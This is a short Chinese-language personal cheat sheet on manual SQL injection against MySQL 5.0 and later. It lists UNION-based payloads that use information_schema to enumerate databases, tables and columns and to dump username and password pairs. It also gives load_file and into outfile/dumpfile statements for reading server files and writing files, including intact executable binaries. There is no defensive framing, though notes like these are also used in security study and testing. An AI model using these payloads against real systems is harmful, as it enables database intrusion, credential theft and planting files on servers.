Mysql手工注入笔记

数据库版本 > Mysql 5.0
※本文不对 Mysql 5.0以下版本再做研究
自带数据库:information_schema
information_schema:存储mysql下所有信息的数据库(数据库名,表名,列名)
Mysql数据库结构:

符号.代表下一级的意思
1 | information_schema.schemata -[存储mysql下所有**数据库**名信息的表] |
information_schema 数据库辅助理解结构图:

常用注入参数及解释:
1 | database() -数据库名 |
联合查询注入:
※ [ = 号之后的值,用hex编码0x...或者'XXX'替换使用都可以]
获取所有库名
1 | union select group_concat(schema_name) from information_schema.schemata |
获取指定库名->所有表名
1 | union select group_concat(table_name) from information_schema.tables where table_schema='库名' |
获取指定库名->指定表名->所有列名
1 | union select group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='库名' |
获取指定库名->指定表名->指定列名->所有数据内容
1 | union select group_concat(username,"::",password) from 库名.表名 |
文件读写:
读文件
常见的读文件,可以用16进制代替字符串
1 | select load_file('c:/boot.ini') |
写文件
常见的写文件,可以用16进制代替字符串
1 | select 0x... into outfile 'D:/1.txt' |
顺带说一下
dumpfile与outfile函数的区别
SELECT into outfile -导出到一个txt文件,可以导出每行记录的,这个很适合导库
SELECT into dump-只能导出一行数据
如果想把一个可执行二进制文件用into outfile函数导出,导出后,文件会被破坏。因为into outfile函数会在行末端写新行,更致使的是会转义换行符,这样2进制可执行文件就会被破坏
这时,我们能用into dumpfile导出一个完整能执行的2进制文件,它不对任何列或行进行终止,也不执行任何转义处理
总结:
into outfile-导出内容
into dumpfile-导出二进制文件

